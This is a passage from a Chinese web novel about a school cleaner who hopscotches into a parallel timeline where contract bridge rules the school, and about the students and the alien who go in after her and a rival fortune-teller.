“说不定呢。”刘征兰说,“昨天教规则的时候,全社就四个跟家里老人打过桥牌的学生,结果就死在胡乱叫牌上了,被咱们这儿的保洁阿姨杀得落花流水。”
康烁影一顿:“……扫地僧?”
刘征兰:“说明我们这儿师资队伍老化,保洁阿姨都是奶奶辈的。”
“确实。抓紧让人家拿上退休工资比较正经。”
“实在不行也可以聘她来当桥牌老师。”
“那你想把桥牌当成必修课?”颜阎故意问。
“我可没说!”康烁影双手交叉在胸前,“我只玩斗地主。”
与此同时,她们口中的扫地僧站在篮球场最边缘的塑胶地地面前。芒草和竹梢编成的麦黄色扫帚拨开地上的草屑、秋天留下的脆而干的枯叶和一些欲盖弥彰的草皮,露出了下面白色的跳格子。
是谁在玩跳格子呢?
格子由九个长方形方块组成,最上面还盖着一个半圆形的“顶”,画得还算规整。
如果这是用那种整体发灰,在石头上能画出白色图案的粉笔石画成,那它更有可能学生们画的。如果它是用真正的粉笔画的,那它就是一位童心未泯的老师留下的一个美丽的秘密。
这一刻,她真希望这是由一个老师留下的。她想象一个女老师,个子不高,脸圆圆的,有着脂肪流失后耷拉的眼皮和有点黑的皮肤。留着烫过的、方便面一样的花白短发。她对学生们有点严厉,但是很会教书,任何人只要问她题,无论聪明还是愚笨,她都会竭尽所能地讲解。在学生们因痛苦而流泪时,她会递上一杯热水和巧克力棒,用自己的经验去开导他们,于是学生们都很喜欢她。教师节的时候,她的桌子上没有金首饰和礼盒,但是会有一大捧康乃馨和所有学生签名的贺卡。
有一天,她突然累了。学生很可爱,教书也很快乐,但她还是不可避免地累了。她老了,已经绝经了,再过几年就要退休。她每天晚上都要去一趟厕所,早上五点多就会醒来,看着雾霾蓝的天空,她心想:我确实不年轻了。
以后要做些什么呢?离开了学校,我要去哪里呢?去给孩子们带孩子吗?他们会不会嫌弃我是个老太太,已经跟不上现在的时代了?躺在家里看手机也不是个事儿,我天天教育学生们不要老看手机,不能说一套做一套呀。那去见朋友吗?朋友们都多年没见面了。有些已经死了。我现在去,人家也有自己的事,说不定还不愿意见我呢。我们小时候,只要有人来找,无论何时都会跑去见面的。一起摘苹果,扯地下甜甜的草根抿着吃,拿地上的灰石头画跳格子,那样的时光,居然已经过去五十多年了。
她想到这里,脑海中突然蹦出一个念头:跳格子,好久没跳格子了。
这个念头像一滴清水里的蜂蜜,甜甜的滋味融化在水的每一口里,只要细品,就能抿出那种回甘的花香。于是在讲台上,在办公室里,在教职工大会上,在失眠的夜里,她总在想:跳格子,好久没跳格子了。
在某一天下班的路上,她突然站住了。来来去去了三十多年的操场,变成自建房的麦田,远方那毫无遮挡的火红太阳,还有摇动着她心房的风。一切都深了,浓了,鲜艳了,她小时候那样的景色突然回来了。她脑海里只有一个念头:为什么不去画个跳格子呢?
她跑到篮球场旁边的绿化带里,试图捡出两块小时候才有的粉笔石,可是那里什么都没有。她摸了摸口袋,呀,有一截断掉的粉笔头!肯定是写板书时断掉的粉笔掉进去了。
她在篮球场边比比划划着画出了一个跳格子。她看着看着,越看越喜欢。脆弱的骨头一下子年轻了,灌满了岁月的沉重身体一下子轻盈了。她着迷地翘起左脚,跳进了粉笔画的格子里。
单脚,单脚,双脚,单脚,双脚,转身,双脚,单脚,双脚,单脚,单脚,落地。
落地的瞬间,她还是感到了岁月对她的改变,就像海水侵蚀岩石一样,身体上的虚弱,是多少虾皮和牛肉都补不回来的。
至少跳过啦。总不能七老八十了再跳吧。她揉着膝盖想。这个跳格子就留下吧,用树叶和草皮盖住,不然让别人看见多害臊。要是学生们看见了……那就看见吧。让他们像我小时候一样,玩一玩跳格子。可以暂时把书放下,把笔丢下,大家都来起哄,都用膝盖和骨头去对抗重力,这会是多开心的事。如果它能留得久一点,那就等我八十岁再跳一次。到时候,我的朋友们也退休了,活着的人们都来玩小时候的游戏,那该多好。
保洁阿姨陶醉在自己的想象中。她情不自禁地踏入跳格子里,跟着记忆里的节奏,一步一步地跳过去,单脚,单脚,双脚,单脚,双脚。
她落在半圆形的顶里面,然后,世界就悄无声息地改变了。
一个女生急匆匆地跑过来:“宋阿姨!”
保洁阿姨一愣,平时学校里的学生只跟她打招呼,很少主动找她做什么:“唉,怎么了孩子?”
“我要向你挑战!”女生“哗啦”从校服里抽出了牌套,“学校桥牌的最顶峰之一——草花1,接受我这个草花的挑战吧!”
“……啊?”
听到挑战,周围的同学顿时聚集过来。一位路人居然从路边的一个装饰性石柱上拿下了一张野餐垫、一张推盘、一副扑克和四个叫牌盒,然后将牌套摆在推盘正中间。
保洁阿姨仍然没有反应过来,但年轻时打桥牌的记忆仍然在她脑海中涌动。她席地而坐,等待裁判洗牌。
身边的学生们决出了最后的裁判。在这里,大家的等级按照桥牌花色的等级排序,从低到高分别是:草花、方块、红心、黑桃、无将。桥牌对战里获胜次数越多的人等级越高,而裁判必须由在场等级最高的担任。
学生里的黑桃站了出来,把牌放进牌套。然后学生里随机挑出两个人,分别和对战双方组成队友。
发牌必须是被挑战者。而桥牌的打牌过程其实比较简单,就是比大小,如果阶数相同就比较花色,如果是将牌,那么无论点数是几,都大于其他花色的牌。主要难点其实在于叫牌。
叫牌就是确定这一把游戏里的“定约”和庄家,叫牌最大的是庄家,而“定约”则是确定哪张牌是将牌和预估自己希望在6的基础上赢几次,赢一把就叫一墩。墩数关系到最后的算分。
不错,桥牌并不是一个完全靠比大小的游戏,它就像高中数学的应用题,利润大于某数客流量递减,小于某数交不起房租,请问怎样利润最大化。最后的胜负一般由分数决定,而分数就和是否完成定约有关系。
三轮叫牌过去,最后的定约是五黑桃,庄家是挑战者。她的队友明手后离场。
桥牌有个
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很莫名其妙的规则,庄家的队友要明手,就是把牌给所有人看,然后庄家代替其打牌,队友本人是不参与打牌的。只用说句“good luck”就能走了。所以打牌时有个笑话:“明手的,去泡杯咖啡。”
不管是庄家还是她的队友,桥牌技术都明显不高。她最后打出了+1,成局+小满贯+墩分之和,总共1730分。
挑战者愤怒地跳起来:“我还会再来挑战你的!”
周围的人起哄:“快快,答应人家一个要求!”
挑战者视死如归地看着保洁。
保洁想了想:“你唱首《月亮代表我的心》。”
挑战者在众目睽睽下扯着嗓子嚎了几句,上课铃就响了,一群人乌泱乌泱跑回去上课。
保洁阿姨真是百思不得其解,但一切也容不得她多想,因为很快,学校的教导主任也走了过来。
“宋姐。”教导主任搓手,“你和孩子们玩桥牌,我以前也玩过。你看你要不要和我玩一把对式的……”
看到教导主任袖子里的红心牌,保洁阿姨就知道,他也加入了这场全民桥牌狂欢,并且等级还不高。她接连击败了教导主任、数学老师、学校门卫和校长,最后一个人站在她面前时她已经完全习惯了,正准备洗牌,那个人忽然挥中了她的手腕。扑克牌雪片般飘落,各种花色腾空而起,仿佛筛子里扬起的青稻。
来人戴着眼镜,皮肤光滑,但有几颗老年斑,牙齿像上课睡觉的学生一样东倒西歪:“就是你?!”
他后面还有几个中年男女,都隐隐带着怒气,手里还牵着刚才和她打牌的几个学生。学生们扁着嘴,愧疚地看着她。
“就是你在学校里贩卖□□毒/品?”
保洁阿姨大惊:“我只是一个保洁,我连淀粉肠都不会卖!”
“精神毒/品。”眼镜男怒不可遏,“你天天在学校里打桥牌,带坏我们家小孩儿!要是我家孩子考不上大学可怎么办?”
保洁只是一名保洁,她不具备良好的口才和武装思想的知识,但她拥有足够的生活经验和社会实践能力。家长们应该是受不了学生打牌,又不能找老师的麻烦,所以一股脑把矛头对准她,起到杀鸡儆猴的效果,企图以此让老师们放弃游戏,顺带规范学生行为。
保洁大惊失色,她还没搞懂怎么突然桥牌流行了起来,对流行深痛恶绝的上一辈就找上了门。还好她是上上辈。她强装镇定,露出劳动人民朴实的微笑:“弟弟你别生气,孩子们玩一玩,你小时候肯定也看家里人玩过。不碍事的。”
“胡说!”眼镜男挥舞着手里的推盘和牌套,“我小时候都认真学习的!你们学校还主动放推盘在操场上!这不是鼓励孩子赌博吗!”
保洁抓住了重点:“你咋知道这玩意儿叫推盘?”
由于桥牌的复杂、冷门、高算力需求,导致它的知名度甚至小于dnd和万智牌,相关道具更是让人摸不着头脑。眼前的男人叫出了“推盘”的名字,可见他对桥牌多少有点理解。
其他家长警觉起来:“你怎么知道那东西叫什么?你是不是碰精神毒/品了?”
眼镜男慌忙解释:“就小时候看过,现在已经戒毒了。”
和她打过牌的女生振臂高呼:“Good luck.”
眼镜男条件反射:“Thanks.”
女生大笑:“哈哈!傻了吧!你当我没跟爷爷奶奶打过牌?你们那年代明手哪有这么礼貌的!都是骂骂咧咧离场的!”
也就是说眼镜男自己肯定偷摸在网上玩过桥牌,再不济也玩过红心大战。
尴尬的气氛蔓延开来。家长们冰冷的视线望向这个带头的叛徒。眼镜男哀伤而绝望,嘴里咕咕哝哝:“我都是成年人了……就玩了一会儿……”
他彻底失去了领导地位,闹事的家长们群龙无首,于是将他排除在外,一群人凑在一起嘀嘀咕咕讨论下一步动向。眼镜男尴尬地和自己的孩子对视,他的孩子把脸扭过去,假装观察学校的建筑风格。
趁此机会,保洁拔腿就跑,穿过篮球场,越过水池和上面不知为何正乘着橡皮筏泛舟而行的女学生,冲进旧楼,不见踪影。
42.校园跑酷
康烁影早晚有一天被律易棋烦死。
她的手机震得能原地跳一支恰恰舞再给她炒俩菜。周围同学怀疑的眼神在她这个区域游走,她没法立刻把手伸进桌洞关掉震动,只能假装无事,跟着周围的人一起问“谁啊谁啊”。
康烁影疯狂给刘征兰使眼色,希望她能帮自己转移火力,好让自己能看一看消息。结果此人完全没听课,正偷偷在桌子底下看课外书。眯起眼睛看过去,课外书的名字是《小狗疑心大宇宙阴谋撺掇它的位置》……这什么书名!
没办法了,队友不聪明,全靠我出力。康烁影豁然起身:“老师!我上厕所!”
数学老师扶住滑落的眼镜:“去吧。下次上厕所不必说得这么铿锵。”
康烁影偷摸揣起手机,一溜烟直奔厕所。边跑边用最低亮度看消息。只见律易棋发来了一个表情包,其他全是复制粘贴的同一句话:“十万火急!你们学校有人跳格子!!!”
三人组里只有康烁影带手机来学校,所以律易棋只能紧急联系到她。
康烁影一惊,在楼梯口刹住脚步:“在哪儿?”
“你下楼去职校旁边,我翻墙过来。”
三中旁边紧挨着一所职校,两者之间只有一道铁艺围栏。大家都觉得这个意向有点不吉利,但没办法,能源城市除了学校就是工厂,旁边挨着学校总比挨着工厂好。
康烁影冲到学校东边的围栏旁,看见律易棋嘴里咬着一把手心长的漆黑柄状物,三两下从翻过栏杆。他来不及多说,右手腕上那个表一样的东西里弹出一个风向标,它指向了西边。
“走!”他和康烁影穿过教学楼、水池和篮球场,直到风向标自己弹回表里才停下。
面前的是一个真正的跳格子,由九个格子和一个房顶般的半圆组成,画出它的疑似是粉笔或者石头的粉末。
“不应该啊……”律易棋蹙眉,“什么粉笔能画出真正的‘跳格子’?真要有这种东西材料学还干不干了?”
“我们下面干什么?”常年缺乏锻炼的女高中生气喘吁吁,“我借口上厕所出来的,不能太久。”
律易棋看向她肩膀:“你的小蜜袋鼯在吗?”
“不在,它最近神出鬼没的。”
“那就让球球出来。”
球球关掉折射影像和摄像机,缓缓从空中降落。
“你跟我走。”律易棋指指球球,然后摘下手表放进康烁影手里,“我在里面留下一枚追踪粒子,要是有哪里不对……那你也没办法,留着吧,万一哪天能找到我们呢。”
康烁影侧身避开他递过来的手:“不是,我得跟你一起去啊!我又没有折射影像又没有别的什么,万一被其他外星生物袭击了,万一把球球弄丢了,万一站在这儿被老师发现了,不管哪个我都完了!”
“你跳格子就不完了?”
“死得痛快点比精神折磨好多了。”
律易棋不跟她废话,把手表丢给球球,谁都不准备带了,自己一个人绕到第一个格子里。康烁影见他没理自己有点急,三两步跟上他,结果一脚踏进半圆形里。与此同时,律易棋正好走完九个方形格子。
一刹那,跳格子便完成了。
律易棋睁大眼睛:“你……”
康烁影不知道自己干了什么,但看他的表情就知道不是什么好事。她退到一边绞着手指等待挨骂。
律易棋没骂她,他给气笑了:“你失踪了可不是我的错。”
康烁影发誓:“绝不怪你,但你能救还是尽量救一下。”
律易棋意义不明地“哈哈”一声:“我看情况救。”
康烁影感觉性命堪忧,为了不死在暑假的音乐节前,她四处环顾,试图杜绝潜在的危险。
凉风阵阵,晚霞漫天。白墙红顶木框窗的两层农村自建房在学校围墙之外伫立,远处的田野传来农村看家狗的吠叫,和四声杜鹃富有节奏的鸣唱。不远处工厂烧有害垃圾的味道弥漫在鼻腔里,带出一股熟悉的乏味。
这不还是她学校吗。
操场前站着一群人,有学生有家长有老师,康烁影想去看看,律易棋拉出她:“我们已经跳格子了,不要和这个时空的人有太多交集,容易迷路。”
“这此是时空意义上的跳格子?平行宇宙是真的?”
“是真的,但应该不是你想的那样。”律易棋沉静地按住她的肩膀,“在时空里跳格子是很危险的,隧道随时有可能坍塌,而时空的坐标又完全没有稳定性,很有可能跳一次就陷入了奇点,也有可能跳一次就永远迷失了。跳格子小队的任务就是修缮格子,以防出现时空跳跃的情况。”
康烁影理解律易棋为什么不让自己跟来了,她暗自打了个寒颤:“那你进来干嘛?在外面把这个格子关掉不就好了?”
“有人进来了,不知道是谁。我不想放着不管。”
康烁影肃然起敬:“好人呐!走!我和你一起找。要是找不到我就在这儿呆着。这里的我上课,我在家偷偷打游戏。”
其实迷失太久精神状态就容易崩溃,这个人在所有世界线里的存在都会变得不稳定。而且跳格子后和另一个时空的自己见面非常危险,很容易造成奇点。但律易棋没说,他笑了笑,带着康烁影冲进教学楼。
寻找来自另一个时空的人其实比较容易,每个时空的微观世界都有细微的不同。律易棋单膝跪下,把一直握着的柄状物高高举起。一条银白色光柱带着闪耀的电流乍然流出,如同一把寒芒四射的剑。
律易棋将剑猛然刺下,光柱没入地面,纤细的白色光芒如同蟒蛇般在地下游走,以柄状物为中心向四周扩散。不过两三秒,其他方向的光芒就全部熄灭,只有一条线还闪着微弱的光。
“这啥?”康烁影问。
律易棋松开剑柄,把它留在原地,自己跟着光丝的方向:“光电黏菌,一口气全铺开,哪里有目标哪个方向就存活。”
康烁影迈开大步跟上他:“纯穷举?”
“这也是科技的一环。”
两人一路小跑,路上有无数人看到康烁影后发出嘲笑:“桀桀桀,康烁影,你还是草花?我已经是方片/红心/黑桃了!”
康烁影很熟悉这种高中生之间互相犯贱的语气,她虽然没理这些人,但还是很疑惑:这些词是什么意思?难道应试教育变成斗地主大赛了?
当两人跑到旧楼前时,事情已经变得很不对劲了。
两名一班的守卫站在门口,犹如交戟士般交叉彼此的双手,左边那个捧着推盘,右边那个亮出牌套。
“挑……战者啊,受力量的指引前来,想染……指……呃……想挑战……。”左边那个女生半闭着眼睛,说话磕磕绊绊,半截眉和豆豆眼让她看上去不是那么庄重。
“我们在此静候,为桥牌王铲除一切不足以与她对战的妄想者。”右边那个长得像圆规的男生说话声音闷闷的,大概率是感冒了,听起来超没气势,“向我们证明你的力量吧!若你通过,便可获得宝座之门的钥匙!”
康烁影问:“你俩不上课吗?”
男生正常说话:“这节一班四班都是体育课。”
“你滚开。我们有急事。”
“我不滚。”男生抱臂,“现在学校已经是桥牌的天下了。你个草花没有进入桥牌总部的资格。除非你在对战中战胜我们。”
康烁影没理这俩人,腰一低就钻了过去。律易棋更快,直接跳起来抓住门框把自己荡过去了。
一路上,两人至少被三四个人以桥牌大战的名义拦住,又被康烁影以跑操结束后爬楼梯练出来的精妙身法化解了。她边上楼边问:“桥牌统治世界?平行宇宙这么精彩?有没有我和我担谈恋爱的世界啊?”
“能量守恒,所以平行宇宙不是无限的。这里只不过是你们学校碰巧流行桥牌的世界线而已。”
也是,毕竟上课看起来仍然凌驾于桥牌之上。
因为兴趣班的建设,天文台之外的铁门都被打开了。旧楼里无数的宿舍房间被各路老师瓜分,里面添置了前所未见的教具与装饰,门上挂起了各种各样的牌子。一瞬间所有人梦回幼儿园。
两人一举冲上三楼,彻底翻新的走廊尽头是一扇水痕犹在的窗,窗棂的影子陈立在阳光的金粉里,宛若礼物盒的彩带。空气中的灰尘钻石般闪闪发光,消毒水的气味俏皮地在走廊里穿梭。
如此年轻的世界里,光电黏菌的足迹蜿蜒向一个红白花格头巾,蓝色工作服,戴着高饱和度橙色胶皮手套的保洁。
她和一个学生坐在地上,静静地打着桥牌。
学校里桥牌爱好者的结构是金字塔状的最底层的是只有花色的人,以桥牌花色的等级高低决定本人的地位高低。最顶层的五十二个人将相互角逐,定下扑克牌里的五十二张牌。此外还有两个角色,就是无将。
在桥牌里,无将代表着不以任何牌作为将牌。而在学校的金字塔里,无将代表着扑克牌里被拿出去的两张牌:大王和小王。
她已经打败了学校所有敢于挑战的角色,拿走了那张藏在四班英语老师手里的小王。只要打败拿走了大王的人,她就是这个学校的桥牌之王。和不属于五十二张牌之一的学生下棋,完全是出于兴趣。
毕竟,桥牌,是让人感到快乐的。
顺带一提,等级高对生活没什么特殊影响,不会有人交保护费也不会有人被迫写高等级人的作业,顶多转三圈学个狗叫。因为这归根结底是个娱乐,大家在下课、自习和放学间隙争分夺秒玩的,正经事是刷题。为了不让这个难得的全民娱乐被封锁,大家的学习热情都上涨了些许。
学校里的保洁阿姨都像来无影去无踪的神秘大侠,每个人都知道她们,每个人都不了解她们。康烁影只认识她的打扮,却叫不出她的名字,更不知道该如何跟保洁阿姨解释这个平行时空的事情,只能跨过去一把拉起她:“阿姨您听我说,您应该也发现这里不太对劲,我们赶紧走!”
阿姨抬起头,布满皱纹的脸笑得像一块皱巴巴的抹布:“哎哟,小闺女,你好啊!阿姨明白,阿姨也看手机,不是那么落后的人!这就是穿越吧?”
康烁影眼神求助律易棋:“对……对吗?”
律易棋用眼神示意:“看我干什么,我又搞不懂你们地球中年人。”
康烁影连忙点头:“对对对,阿姨,这就是穿越!”
保洁阿姨露出了和蔼的笑容:“我就知道。小闺女小伙子你们放心,阿姨看了好多穿越的视频,也听了好多免费听书。什么豪门恩怨,异能大战,阿姨都很了解!打桥牌就更不怕了。”<
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p>“好!那阿姨,你先跟我们走,我们都是穿越者,不要穿越者互害,要相亲相爱!”
律易棋按住她肩膀:“走不了了,你看地上。”
康烁影顺着他的视线看过去。黏菌在保洁阿姨的身旁分成两股。一股指向保洁阿姨,另一股蜿蜒向楼上,终点不明。
怎么还有人?大家都闲着没事跳格子?
一时半会儿是走不了了,律易棋蹲下安抚保洁阿姨:“阿姨您先安心打牌。我们去找另一位……穿越者,一会儿就回来接你!”
阿姨兴高采烈:“好嘞!我绝对不给你们添麻烦!”
对面的打牌学生没搞懂,但她莫名其妙燃起来了:“好了阿姨!继续和我进行宿命的决斗吧!”
康烁影和律易棋又跟着黏菌跑,结果它仿佛没有尽头一样。绕上四楼,又从另一层的楼梯下到二楼,二楼不见人影,再一睁眼黏菌就上了三楼。三楼没人,两人又上四楼,黏菌又跑了。
“到底是谁啊?”律易棋没力气生气了,他只想笑,“跑酷呢?”
康烁影撑着膝盖喘气,左腹部一抽一抽地疼:“你就没有靠谱一点的科技了?”
律易棋眼神游移地吹口哨。
“你们外星的东西真不牢靠。”
律易棋等康烁影歇了十几秒,准备继续出发。结果律易棋往楼下一看,“咦”了一声:“冲过来的是不是刚才那个姐姐?”
“哪个姐姐?”康烁影抬头,“啊你说的是保洁阿姨。也是,你的年龄的确该喊姐姐。”
保洁噔噔噔冲上楼梯,后面还追着一群凶神恶煞的老师和家长。
他们两个刚才如果留下来,就会知道真实情况。这里面没有任何的谜题和阴谋,有的只是学校管理制度的混乱。
她和学生打牌打到一半,突然听到走廊另一头的楼梯里传来杂乱的脚步声。五六个老师冲出楼梯间,张牙舞爪向她扑来:“抓住她!她就是那个装保洁的校外人员!”
由于保洁这个行业受到过度忽视,老师们没人能记住学校里所有保洁的脸。既然有一个装作保洁的校外人员进入了旧楼,他们顺理成章地把旧楼里的保洁认作了校外人员。至于这个保洁是不是真的在学校上班,显然没人知道。
老师后面还跟着一群家长,赫然是在操场上找她麻烦的那群人。家长们来者不善,挥舞着无处安放的控制欲和低分试卷:“抓住她!她就是让孩子不思进取的桥牌王!”
学生对老师的恐惧是刻在骨髓里的,和保洁对战的学生一看见老师成群结队气势汹汹地冲过来,当即抱起推盘和牌套拔腿就跑。良心尚存的她把保洁拉起来一起跑,甚至义气地和她兵分两路,准备甩开一部分追兵。
不明所以的保洁被她吓了一跳,“穿越”后不安的神经本已经在桥牌中被抚平了,此刻又活跃起来。
穿越的一般都是好人,而和穿越者作对的都是反派。她立刻把这群老师家长定位成短剧里的反派,开始夺命狂奔。幸好学校的老师们年纪也都不小,四十多家长和五十多老师追六十多保洁,难说谁更胜一筹。
保洁爬上四楼,看见刚才那两个穿越者站在楼梯上,她赶紧挥手:“年轻人快跑!”
律易棋和康烁影不明所以,但一群老师家长扑上来的画面还是很狰狞的。康烁影吓得腿都要软了,带着哭腔问:“我是不是要被开除了?”
律易棋一把捞起保洁,又蹲下来让康烁影爬上自己后背,撞了下脚跟打开斥力靴,脚下一点地,顿时摆脱了地心引力的束缚,轻轻松松从老师头顶跳过去。
底下的老师家长仰头,脑袋随着他的跳跃而摆动,看着他鞋底淡淡的莹蓝色光芒在空中划过一道看似不科学实则原理很科学的弧线,然后轻巧地落在地上。一时间都不知道该不该追。
康烁影趴在他后背上:“下二楼,听我指挥,从那个小窗户上天文台!”
律易棋立刻跑下二楼,先把保洁阿姨托上去,再自己爬进去,最后将康烁影拖死狗一样扯进里面。然后他用斥力靴轮流把两个人送上天文台,终于能歇息一阵。
保洁阿姨兴奋不已,一直转着圈絮絮叨叨:“哎呀,这就是穿越……真有意思,要是能把我外孙女也带来就好了……”
学校里的天文台还是那么陈旧,没有任何要重新启用的迹象。康烁影坐在地上,累得抱着膝盖不想说话。即便如此她心中还是有一丝得意——看看这个房子,再看看呼叫中心!还得是她会搞装修。
她暗自美滋滋了一会儿,气还没喘匀,楼下又传来一阵铁门摇晃的咣当咣当,伴随着叮呤当啷的钥匙碰撞,康烁影打心底里发出一声悲鸣:“又来?”
一楼守门的那个男生晃着钥匙打开了四楼通往天文台的铁门。
他看着康烁影,自豪地摆出了大拇指:“不用谢我,我和器材室老师打牌赢来的。”
“你怎么知道我们在这儿?”
男生向地上的黏菌努努嘴:“跟着奇怪东西上来的。”
高中生的脑子就是好使。
男生转着手里的钥匙,让开了身边的门:“桥牌王要见你们。”
“桥牌王到底是谁啊?”
“是……”男生突然发现自己也不知道桥牌王的名字。他脑袋一甩,“见到她你们就知道了!”
43.桥牌王
桥牌王的栖息地不在神秘的天宫,也不在沉没的亚特兰蒂斯。而是在三楼一扇没门牌的门前。
男生用钥匙开了门,然后把它递给康烁影:“记得还给器材室老师。”
康烁影问他:“你又要回去守门?”
“No。我要回教室玩大屏幕。”男生露出邪恶的笑容,“桥牌流行不代表我们只有这一种娱乐方式,谨记。”
男生留下他的钥匙走了。康烁影一回头,发现保洁阿姨和律易棋早就进了门里,她赶紧跟上,不忘回头把门关好。
门里靠墙摆放着一排矮柜,四张方桌整齐排列着,每张桌子上都有一张推盘。掉皮严重的的长沙发靠在东面的墙旁。
看起来这里就是桥牌社的教室。
一个穿着保洁服,头上戴着纸折皇冠的中老年女人坐在长沙发正中间。她翘着腿,神情倨傲,右手淡然地压在自己用三层红色塑料袋包裹的牌套上。眼神自上而下俯视着来者,仿佛是国王在巡视自己的领土,连黏菌都悄然在她的脚下终结。
从她憋得通红的脸来看,这人也在老师家长的追逐中累得不轻。大概是保洁阿姨替她分担了一大部分的火力,才让她得以躲进桥牌室。
律易棋怎么看怎么觉得这人眼熟。
虽然衣服换了,气质变了,场景也不尽相同,但是这个人,好像,似乎,说不定……
是“姐姐”深痛恶绝的那个神婆……?
在律易棋与她相认之前,保洁阿姨率先上前一步,错愕地指着她:“孙家二!”
神婆迟钝地眨眨眼,浑浊的眼睛上下打量了一遍保洁阿姨,年迈的身体突然爆发出难以置信的灵活,猛然把身体向后仰:“宋玉芳!”
“你怎么进学校了?”
神婆充满仇恨地握紧拳头:“来找那两个烧了我家的死丫头算账!还有一个一直背对着我没看清脸,总之能找两个是两个!”
律易棋没时间等着她们,他对桥牌王招招手:“您应该也发现有什么不对了,赶紧跟我们走。”
桥牌王把身子往沙发里一缩:“我不。”
保洁阿姨抓住她的肩膀,把她往外拖:“你没看过穿越剧吗?现在不走一会儿你就完了。”
神婆使劲往后缩,任由保洁用力拉扯她,她依然顽强地赖在沙发上:“我当然看过。”她找准时期抽出自己的腿,滚到沙发另一端,“你没有搞清楚,我不是穿越剧里的主角,我是穿越剧里的坏人!”
她爬上沙发,差点摔个趔趄,康烁影生怕老人家摔坏,赶紧上去扶了她一把。神婆成功站上去,向着众人张开手臂:“我要留在这个桥牌世界里,霸占桥牌王的宝座,让所有人都膜拜我!”
不知道是不是外星人和地球土著之间的文化差异,律易棋不懂:“桥牌王有什么好处吗?”
神婆说:“学生免费请吃方便面。”
保洁阿姨说:“出息!”
“还可以狠狠惩罚那两个烧了出租屋的死小孩儿。”
康烁影打听:“她俩来和你打了吗?”
神婆遗憾地叹了口气:“她俩都不赶流行。”
律易棋不管了,一伸手就把她扛起来准备带走。神婆在他背上又踢又蹬,像一条乱跳的大鲤子鱼:“我不走!”
她挣扎得太厉害了,胳膊肘和膝盖给了律易棋好几下:“我是绝对不会走的!”饶是基因品质良好的孟德尔豌豆都抽了口气。
事关生命,康烁影都有点不耐烦了,撸起袖子作势要抽她。神婆梗着脖子说有本事你抽。
“算了吧。”律易棋把她放回沙发里,“充分尊重别人的选择,她不想走就让她留着好了。”
康烁影点头如捣蒜,正准备带着保洁阿姨走。一回头,保洁阿姨走向了神婆。
她本想劝和蔼的保洁阿姨别管神婆,结果保洁伸出双手,对着神婆就是一通乱拳。
“孙家二!你又发神经!赶紧走,别耽误年轻人读书上学!”
神婆用胳膊架住保洁的手:“关你宋玉芳什么事!你再打一下我就偷摸把你的纸壳箱扔了!”
保洁想了一会儿:“这样,学校里桥牌输了不是要答应一个小要求吗?唱个歌跳个舞那种,我们打一把牌,输了你就跟我走。”
神婆阴险一笑:“你以为你打桥牌赢得过我?”
“试试。”
“试试就试试。”
康烁影绝望地试图拦住保洁:“走吧阿姨。”
保洁挥挥手:“你先走吧,我和朋友叙叙旧。”她的脸上露出了一种奇妙的微笑,仿佛有什么明媚的回忆从她的眼睛里涌出来,“上了年纪果然还是当不成穿越剧的主角啊。”
她眼睛里的东西漫过康烁影的脚背,康烁影仿佛站在水里,浮力不动声色地抚摸她的脚背。
康烁影坐下了。
“你走吧。”她对律易棋说,“我帮阿姨打牌。”
她刚才还跟律易棋说要尽量救她一下,现在就完全反悔了。
律易棋站在她身后:“我刚才怕你慌神,没跟你说。跳格子到另外的时空容易死哦。”
“我猜到了。”康烁影低着头,“不然你们早跳来跳去了。”
律易棋无奈地叹了口气,整个人反而轻松起来,在她旁边坐下了:“我们都回不去了可不怪我。”
打牌的四个人凑齐了,四个人轮流洗牌,然后抽取。
这个时候康烁影才意识到一件事:她完全不会打桥牌。
她偷偷歪了下身子,凑得离律易棋近了一点:“你会打这个牌吗?”
律易棋也小声回答:“跟隔壁杂货店的姐姐打过。”
“打得怎么样?”
“会了一点点吧。”
律易棋对面是神婆。这就代表他们是一队。康烁影把所有的希望寄托在他身上了,希望他能使劲拖住保洁的后腿。
果不其然,他上来就叫了个最大的七无将。
神婆说:“你这样耍赖我是不可能走的。”
大家只好重新洗牌。在保洁阿姨温柔的谴责眼神里,律易棋发誓不会明目张胆地耍赖了。
开局由保洁先叫,她坐东家,有七张红心,并且最大的三张都在她手里。但她却黑桃,于是以1红心开叫,告诉康烁影她的优势牌。
下一个是南家的律易棋,他以1黑桃争叫。
西家的康烁影看了看自己的牌,方块Q、J,红心10、6,黑桃K、9、8、5和草花Q、J、6、10、9。
她看不懂。
啥意思啊?
于是她数了数牌,草花最多,她就叫了草花。又因为草花等级太低,叫牌必须比前一个人大,她就往原来的基础上加一,变成了2草花。
北家的神婆看着律易棋,暗自冷笑。
律易棋是帮着对方的,她必须想尽办法阻止他。小丫头一看就没打过桥牌。至于保洁……
她突然问:“宋玉芳,你压根没有黑桃吧。”
保洁阿姨愕然:“不能问啊!谁打牌问对方的牌啊。”
但她的反应已经足够了。神婆冷静地叫出了带有阻击性质的3黑桃。
保洁叫出了四方块。
律易棋试图和康烁影交换眼神,但对方全神贯注地盯着手里那副牌,整张脸以鼻子为中心缩成一团,五官乱挤。这是颜阎感到厌烦和无语时的标志性动作,在乎形象的康烁影已经完全被她传染了。
和队友对消息失败,律易棋研究自己手里的牌,同时心底无语。
刚才神婆完全是在场外耍赖啊!
这就像线下打斗地主时突然冒出一句:“我牌不错。”来试探他人,不能说是犯规,只能说挺搞人心态的。
他搞不懂这对老熟人的想法,于是选择了放弃叫牌。
康烁影到现在也没看明白,此时此刻,她好想念刘征兰。理科小天才一定立刻就能看明白这群人在干什么,然后迅速地算出最好的答案。
她随便加了个等级,叫出4红心。
神婆一言不发地叫出了4黑桃。
保洁立刻明白了。神婆表现出了对黑桃的兴趣。而刚才那个小丫头数了牌,说明她最有自信的是草花,她很可能有四张以上草花,里面包含A到J里面任意两张,甚至可能全有。
但神婆手里,一定有黑桃A和K。她知道律易棋会暗中帮助她们,她不会在有风险的时候做出这种叫牌。
她硬着头皮叫出了6草花。
这是在替康烁影叫。她手里的草花很好,有希望和神婆搏一搏。
律易棋还是跳过。
康烁影不行了,她真弄不明白了。她破罐子破摔地问:“阿姨,我要叫什么?”
保洁看了一眼自己的牌:“你叫7红心。”
神婆竖起眼睛:“作弊!”
康烁影都要哭了:“你能不能放过我啊?我真不会打桥牌!”
最后大家都睁一只眼闭一只眼当这事不存在,因为康烁影的表情看起来的确离哭不远了。
神婆“嗤”了一声,苍老的手拿出了最后的、最大的那张卡片:“7NT。”
这是最大的叫牌,没办法继续叫了。定约是7无将,神婆坐庄。只要康烁影和保洁在十三轮比大小里赢了一轮,神婆就输了。
但这里有一个小小的问题。
